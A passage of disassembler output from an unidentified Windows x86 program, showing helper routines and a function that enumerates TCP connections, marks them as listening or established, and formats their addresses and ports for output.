		call	sub_4012A3
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40214E
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_4016F9
		test	al, al
		jnz	short loc_418BD8
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_418C1A:				; CODE XREF: sub_418BC0+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_418BC0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418C50	proc near		; CODE XREF: sub_40139Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_401C53
sub_418C50	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_418C65
		mov	edi, esi


loc_418C65:				; CODE XREF: ___:00418C61j
		push	esi
		call	sub_4015D2
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_418C7A
		mov	edi, esi


loc_418C7A:				; CODE XREF: ___:00418C76j
		push	esi
		call	sub_401B1D
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418CA0	proc near		; CODE XREF: sub_40205Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4013F2
sub_418CA0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418CC0	proc near		; CODE XREF: sub_4015D2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_418CC0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418CE0	proc near		; CODE XREF: sub_401172j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_418CE0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418D00	proc near		; CODE XREF: sub_401528j
		mov	eax, ecx
		retn
sub_418D00	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418D20	proc near		; CODE XREF: sub_401D84j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4020E0
		mov	eax, esi
		pop	esi
		retn	4
sub_418D20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418D50	proc near		; CODE XREF: sub_40221Bj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_418D50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418D80	proc near		; CODE XREF: sub_40123Fj

var_4		= byte ptr -4
arg_4		= byte ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_40116D
		mov	ecx, eax
		call	sub_401C8A
		mov	esi, eax
		push	esi
		call	sub_401A82
		push	esi
		mov	ebx, eax
		call	sub_401C58
		mov	ecx, [eax]
		push	ecx
		call	sub_401A82
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401C58
		push	esi
		mov	ebx, eax
		call	sub_401A82
		mov	eax, [eax]
		push	eax
		call	sub_401C58
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401208
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401762
		push	esi
		mov	ecx, edi
		call	sub_4020E5
sub_418D80	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418E40	proc near		; CODE XREF: sub_401D57j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_418E40	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418E60	proc near		; CODE XREF: sub_40116Dj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_401F0A
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_418E60	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418E90	proc near		; CODE XREF: sub_40214Ej

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4012A3
		mov	ecx, eax
		call	sub_401ECE
		mov	esi, eax
		push	esi
		call	sub_4015D2
		push	esi
		mov	ebx, eax
		call	sub_401B1D
		mov	ecx, [eax]
		push	ecx
		call	sub_4015D2
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401B1D
		push	esi
		mov	ebx, eax
		call	sub_4015D2
		mov	eax, [eax]
		push	eax
		call	sub_401B1D
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401172
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_4018C5
		push	esi
		mov	ecx, edi
		call	sub_40205E
sub_418E90	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418F50	proc near		; CODE XREF: sub_401B1Dj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_418F50	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418F70	proc near		; CODE XREF: sub_401C53j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_418F70	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418FA0	proc near		; CODE XREF: sub_4013F2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_418FA0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418FC0	proc near		; CODE XREF: sub_4020E0j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_418FC0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418FE0	proc near		; CODE XREF: sub_4012A3j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_401361
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_418FE0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419010	proc near		; CODE XREF: sub_401762j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_8
		pop	ecx
		retn	4
sub_419010	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419030	proc near		; CODE XREF: sub_4018C5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_4
		pop	ecx
		retn	4
sub_419030	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419050	proc near		; CODE XREF: sub_401ECEj
		mov	eax, [ecx]
		retn
sub_419050	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4190B0	proc near		; CODE XREF: sub_402103j

var_14		= dword	ptr -14h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4190B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_14], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		push	9
		mov	[esp+1Ch+var_4], 0
		mov	dword ptr [esi], offset	off_43E074
		call	sub_4367FA
sub_4190B0	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+8], eax
		test	eax, eax
		mov	byte ptr [esp+14h], 1
		jz	short loc_41911D
		mov	ecx, eax
		call	sub_401F0F
; ---------------------------------------------------------------------------
		mov	[esi+32h], eax
		mov	eax, esi
		pop	esi
		mov	ecx, [esp+8]
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------


loc_41911D:				; CODE XREF: ___:004190FFj
		mov	ecx, [esp+0Ch]
		xor	eax, eax
		mov	[esi+32h], eax
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419170	proc near		; CODE XREF: sub_401F0Fj
		push	0FFFFFFFFh
		push	offset SEH_419170
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		push	14h
		call	sub_4367FA
sub_419170	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+4], eax
		test	eax, eax
		mov	dword ptr [esp+10h], 0
		jz	short loc_4191BE
		mov	ecx, eax
		call	sub_4015B9
		mov	[esi], eax
		mov	eax, esi
		pop	esi
		mov	ecx, [esp+4]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_4191BE:				; CODE XREF: ___:004191A1j
		mov	ecx, [esp+8]
		xor	eax, eax
		mov	[esi], eax
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419200	proc near		; CODE XREF: sub_4015B9j
		mov	eax, ecx
		retn
sub_419200	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419220	proc near		; CODE XREF: sub_401965j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_419220
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	14h
		push	1
		push	14h
		push	13h
		push	14h
		push	5
		lea	eax, [esp+44h+var_24]
		push	0Eh
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_401681
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
sub_419220	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4192C0	proc near		; CODE XREF: sub_40111Dj

var_2A4		= dword	ptr -2A4h
var_2A0		= dword	ptr -2A0h
var_29C		= dword	ptr -29Ch
var_298		= dword	ptr -298h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_274		= byte ptr -274h
var_25C		= byte ptr -25Ch
var_23C		= byte ptr -23Ch
var_224		= byte ptr -224h
var_199		= byte ptr -199h
var_198		= byte ptr -198h
var_119		= byte ptr -119h
var_118		= byte ptr -118h
var_99		= byte ptr -99h
var_98		= byte ptr -98h
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4192C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 298h
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	[esp+2ACh+var_2A4], ebx
		lea	ecx, [ebx+4]
		call	sub_4017E4
		mov	esi, [esp+2ACh+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_419669
		push	ebp
		push	edi
		push	offset asc_443600 ; " "
		lea	eax, [esp+2B8h+var_23C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		call	sub_401681
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+2B4h+var_23C]
		mov	[ebx+36h], eax
		call	sub_401226
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+2B8h+var_274]
		call	sub_401861
		xor	ebp, ebp
		push	offset dword_443D94
		lea	ecx, [esp+2B8h+var_274]
		mov	[esp+2B8h+var_4], ebp
		mov	[esp+2B8h+var_2A0], ebp
		call	sub_4013E3
		test	eax, eax
		jz	short loc_41936F
		mov	[esp+2B4h+var_2A0], 2
		jmp	short loc_419389
; ---------------------------------------------------------------------------


loc_41936F:				; CODE XREF: sub_4192C0+A3j
		push	offset dword_443D90
		lea	ecx, [esp+2B8h+var_274]
		call	sub_4013E3
		test	eax, eax
		jz	short loc_419389
		mov	[esp+2B4h+var_2A0], 1


loc_419389:				; CODE XREF: sub_4192C0+ADj
					; sub_4192C0+BFj
		mov	ecx, [ebx+32h]
		mov	edi, offset dword_443D84
		xor	eax, eax
		mov	edx, [ecx]
		or	ecx, 0FFFFFFFFh
		add	edx, 2
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [ebx+32h]
		mov	edx, [ecx]
		mov	byte ptr [edx],	1
		mov	eax, [ebx+32h]
		mov	[esp+2B4h+var_119], 0
		mov	[esp+2B4h+var_99], 0
		mov	[esp+2B4h+var_D], 0
		mov	[esp+2B4h+var_199], 0
		mov	eax, [eax]
		cmp	byte ptr [eax],	0
		jnz	short loc_419418
		mov	esi, dword_50FA9C
		add	eax, 2
		push	offset dword_443D84
		push	eax
		call	esi	; _stricmp
		add	esp, 8
		test	eax, eax
		jz	short loc_419418
		mov	ecx, [ebx+32h]
		push	offset off_443D80
		mov	edx, [ecx]
		add	edx, 2
		push	edx
		call	esi	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	loc_41964F


loc_419418:				; CODE XREF: sub_4192C0+123j
					; sub_4192C0+13Bj
		push	0C00h
		mov	[esp+2B8h+var_294], 0C00h
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		mov	esi, eax
		lea	eax, [esp+2B4h+var_294]
		mov	[esp+2B4h+var_29C], esi
		push	1
		push	eax
		push	esi
		mov	[esi], ebp
		call	sub_436C60
; ---------------------------------------------------------------------------
		mov	eax, [esi]
		mov	[esp+2B4h+var_298], ebp
		cmp	eax, ebp
		jle	loc_419645
		lea	ebp, [esi+14h]


loc_419454:				; CODE XREF: sub_4192C0+37Fj
		cmp	dword ptr [ebp-10h], 2
		jnz	short loc_419468
		mov	ecx, [ebx+32h]
		mov	edx, [ecx]
		cmp	byte ptr [edx],	0
		jz	loc_41962F


loc_419468:				; CODE XREF: sub_4192C0+198j
		mov	ax, [ebp-8]
		mov	esi, dword_50FC20
		push	eax
		call	esi	; ntohs
		mov	cx, [ebp+0]
		mov	[esp+2B4h+var_290], eax
		push	ecx
		call	esi	; ntohs
		mov	esi, [esp+2B4h+var_2A4]
		mov	ebx, eax
		mov	eax, [ebp-0Ch]
		push	1
		lea	edx, [esp+2B8h+var_198]
		push	7Fh
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401474
		mov	edx, [ebp-4]
		push	0
		lea	ecx, [esp+2B8h+var_118]
		push	7Fh
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401474
		mov	eax, [ebp-10h]
		sub	eax, 2
		jz	short loc_4194CC
		sub	eax, 3
		jnz	short loc_4194F2
		lea	edx, [esp+2B4h+var_25C]
		mov	edi, offset aEstablished ; "established"
		jmp	short loc_4194D5
; ---------------------------------------------------------------------------


loc_4194CC:				; CODE XREF: sub_4192C0+1FAj
		lea	edx, [esp+2B4h+var_25C]
		mov	edi, offset aListening ; "listening"


loc_4194D5:				; CODE XREF: sub_4192C0+20Aj
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_4194F2:				; CODE XREF: sub_4192C0+1FFj
		mov	ecx, 23h
		xor	eax, eax
		lea	edi, [esp+2B4h+var_98]
		rep stosd
		mov	ecx, 23h
		lea	edi, [esp+2B4h+var_224]
		rep stosd
		cmp	dword ptr [ebp-10h], 2
		jnz	short loc_419518
		xor	ebx, ebx


loc_419518:				; CODE XREF: sub_4192C0+254j
		mov	esi, [esp+2B4h+var_290]
		lea	ecx, [esp+2B4h+var_198]
		and	esi, 0FFFFh
		lea	edx, [esp+2B4h+var_98]
		push	esi
		push	ecx
		push	offset aSD_1	; "%s:%d"
		push	8Bh
		push	edx
		nop
		call	near ptr 77C3FA76h
		mov	edi, ebx
		add	esp, 14h
		and	edi, 0FFFFh
		lea	eax, [esp+2B4h+var_118]
		push	edi
		push	eax
		push	offset aSD_1	; "%s:%d"
		lea	ecx, [esp+2C0h+var_224]
		push	8Bh
		push	ecx
		nop
		call	near ptr 77C3FA76h
		add	esp, 14h
		lea	ecx, [esp+2B4h+var_28C]
		call	sub_401424
		mov	eax, [esp+2B4h+var_2A0]
		mov	byte ptr [esp+2B4h+var_4], 1
		test	bx, bx
		jnz	short loc_4195B1
		cmp	eax, 1
		jz	loc_419616
		mov	edx, [esp+2B4h+var_2A4]
		mov	eax, [edx+36h]
		test	eax, eax
		jz	short loc_4195A4
		cmp	eax, esi
		jnz	short loc_419616


loc_4195A4:				; CODE XREF: sub_4192C0+2DEj
		lea	eax, [esp+2B4h+var_25C]
		push	esi
		push	eax
		push	offset aSD_0	; "%s: %d"
		jmp	short loc_4195D7
; ---------------------------------------------------------------------------


loc_4195B1:				; CODE XREF: sub_4192C0+2CAj
		cmp	eax, 2
		jz	short loc_419616
		mov	ecx, [esp+2B4h+var_2A4]
		mov	eax, [ecx+36h]
		test	eax, eax
		jz	short loc_4195C5
		cmp	eax, edi
		jnz	short loc_419616


loc_4195C5:				; CODE XREF: sub_4192C0+2FFj
		lea	edx, [esp+2B4h+var_224]
		lea	eax, [esp+2B4h+var_25C]
		push	edx
		push	eax
		push	offset aSS_6	; "%s: %s"


loc_4195D7:				; CODE XREF: sub_4192C0+2EFj
		lea	ecx, [esp+2C0h+var_28C]
		push	ecx
		call	sub_40102D
		mov	esi, [esp+2C4h+arg_0]
		add	esp, 10h
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+2B8h+var_28C]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D60B5
		call	sub_401118


loc_419616:				; CODE XREF: sub_4192C0+2CFj
					; sub_4192C0+2E2j ...
		lea	ecx, [esp+2B4h+var_28C]
		mov	byte ptr [esp+2B4h+var_4], 0
		call	sub_401226
		mov	esi, [esp+2B4h+var_29C]
		mov	ebx, [esp+2B4h+var_2A4]


loc_41962F:				; CODE XREF: sub_4192C0+1A2j
		mov	eax, [esp+2B4h+var_298]
		mov	ecx, [esi]
		inc	eax
		add	ebp, 14h
		cmp	eax, ecx
		mov	[esp+2B4h+var_298], eax
		jl	loc_419454


loc_419645:				; CODE XREF: sub_4192C0+18Bj
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_41964F:				; CODE XREF: sub_4192C0+152j
		lea	ecx, [esp+2B4h+var_274]
		mov	[esp+2B4h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		mov	al, 1
		pop	ebp
		jmp	short loc_41966B
; ---------------------------------------------------------------------------


loc_419669:				; CODE XREF: sub_4192C0+3Dj
		mov	al, 1


loc_41966B:				; CODE XREF: sub_4192C0+3A7j
		mov	ecx, [esp+2ACh+var_C]
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 2A4h
		retn	4
sub_4192C0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419790	proc near		; CODE XREF: sub_401474j

var_20		= byte ptr -20h
arg_0		= byte ptr  4
arg_3		= dword	ptr  7
arg_8		= dword	ptr  0Ch
arg_C		= byte ptr  10h

		mov	eax, [esp+arg_3]
		sub	esp, 20h
		mov	edx, [esp+25h]
		and	eax, 0FFh
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		mov	ecx, [esp+32h]
		mov	ebx, [esp+2Ch+arg_8]
		mov	ebp, [esp+2Ch+arg_3+1]
		push	eax
		mov	eax, [esp+34h]
		and	ecx, 0FFh
		and	edx, 0FFh
		push	ecx
		and	eax, 0FFh
		push	edx
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	ebx
		push	ebp
		nop
		call	near ptr 77C3FA76h
		mov	ecx, [esi+32h]
		add	esp, 1Ch
		mov	al, [ecx+4]
		test	al, al
		jnz	short loc_419850
		mov	al, [esp+2Ch+arg_C]
		test	al, al
		jnz	short loc_41981E
		mov	eax, [esp+30h]
		test	eax, eax
		jz	short loc_41981E
		push	2
		lea	edx, [esp+30h+arg_0]
		push	4
		push	edx
		nop
		call	near ptr 71ABE479h
		test	eax, eax
		jz	short loc_419850
		mov	eax, [eax]
		push	ebx
		push	eax
		push	ebp
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 20h
		retn	10h
; ---------------------------------------------------------------------------


loc_41981E:				; CODE XREF: sub_419790+5Aj
					; sub_419790+62j
		push	edi
		mov	ecx, 7
		xor	eax, eax
		lea	edi, [esp+30h+var_20]
		rep stosd
		lea	ecx, [esp+30h+var_20]
		push	1Dh
		push	ecx
		stosw
		nop
		call	near ptr 71AB50C8h
		test	eax, eax
		pop	edi
		jnz	short loc_419850
		lea	edx, [esp+2Ch+var_20]
		push	ebx
		push	edx
		push	ebp
		call	near ptr 77C47A90h
		nop
		add	esp, 0Ch


loc_419850:				; CODE XREF: sub_419790+52j
					; sub_419790+75j ...
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 20h
		retn	10h
sub_419790	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4198A0	proc near		; CODE XREF: sub_401EECj
		nop
		call	near ptr 27D07CDh
		push	eax
		nop
		call	near ptr 77C371BCh
		pop	ecx
		retn
sub_4198A0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4198C0	proc near		; CODE XREF: sub_4021A3j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	esi
		call	near ptr 77C371D3h
		nop
		mov	esi, [esp+8+arg_0]
		mov	[esp+8+var_4], eax
		mov	eax, [esp+8+arg_4]
		fild	[esp+8+var_4]
		sub	eax, esi
		mov	[esp+8+arg_4], eax
		fimul	[esp+8+arg_4]
		fmul	dbl_43E0B0
		call	sub_4368EA
sub_4198C0	endp

; ---------------------------------------------------------------------------
		sub	esi, eax
		mov	eax, esi
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419910:				; CODE XREF: ___:00401C85j
		nop
		call	near ptr 77C371D3h
		cdq
		idiv	dword ptr [esp+4]
		mov	eax, edx
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------

locret_419930:				; CODE XREF: ___:0040151Ej
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419950:				; CODE XREF: ___:00401FC3j
		xor	al, al
		retn	4
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419970	proc near		; CODE XREF: sub_401523j

arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_C]
		mov	ecx, [esp+arg_4]
		mov	edx, [esp+arg_8]
		cmp	eax, 1
		setnl	al
		mov	byte ptr [esp+arg_C], al
		push	ecx
		mov	eax, [esp+4+arg_C]
		push	edx
		push	eax
		push	0
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		retn
sub_419970	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4199B0:				; CODE XREF: ___:00401505j
		sub	esp, 0Ch
		mov	eax, [esp+20h]
		push	ebx
		push	ebp
		push	esi
		xor	esi, esi
		push	edi
		cmp	eax, esi
		mov	dword ptr [esp+18h], 80h
		mov	[esp+10h], esi
		jz	short loc_4199E3
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		cmp	eax, esi
		mov	[esp+10h], eax
		jz	short loc_4199E3
		mov	[esp+18h], eax


loc_4199E3:				; CODE XREF: ___:004199CBj
					; ___:004199DDj
		mov	edi, [esp+28h]
		mov	ebx, [esp+24h]
		mov	ebp, [esp+20h]
		mov	[esp+14h], esi
		mov	esi, offset dword_506E6C


loc_4199F8:				; CODE XREF: ___:00419A49j
		mov	ecx, [esp+14h]
		mov	eax, [esp+18h]
		cmp	ecx, eax
		jge	short loc_419A4B
		cmp	byte ptr [esi],	0
		jz	short loc_419A34
		mov	eax, [esp+30h]
		test	eax, eax
		jz	short loc_419A28
		mov	ecx, [esp+10h]
		test	ecx, ecx
		jnz	short loc_419A28
		push	eax
		push	esi
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		test	eax, eax
		jz	short loc_419A34


loc_419A28:				; CODE XREF: ___:00419A0Fj
					; ___:00419A17j
		push	edi
		push	esi
		push	ebx
		push	ebp
		call	sub_401523
		add	esp, 10h


loc_419A34:				; CODE XREF: ___:00419A07j
					; ___:00419A26j
		mov	edx, [esp+14h]
		add	esi, 80h
		inc	edx
		cmp	esi, offset dword_50AE6C
		mov	[esp+14h], edx
		jl	short loc_4199F8


loc_419A4B:				; CODE XREF: ___:00419A02j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419A90:				; CODE XREF: ___:00402266j
		push	ebx
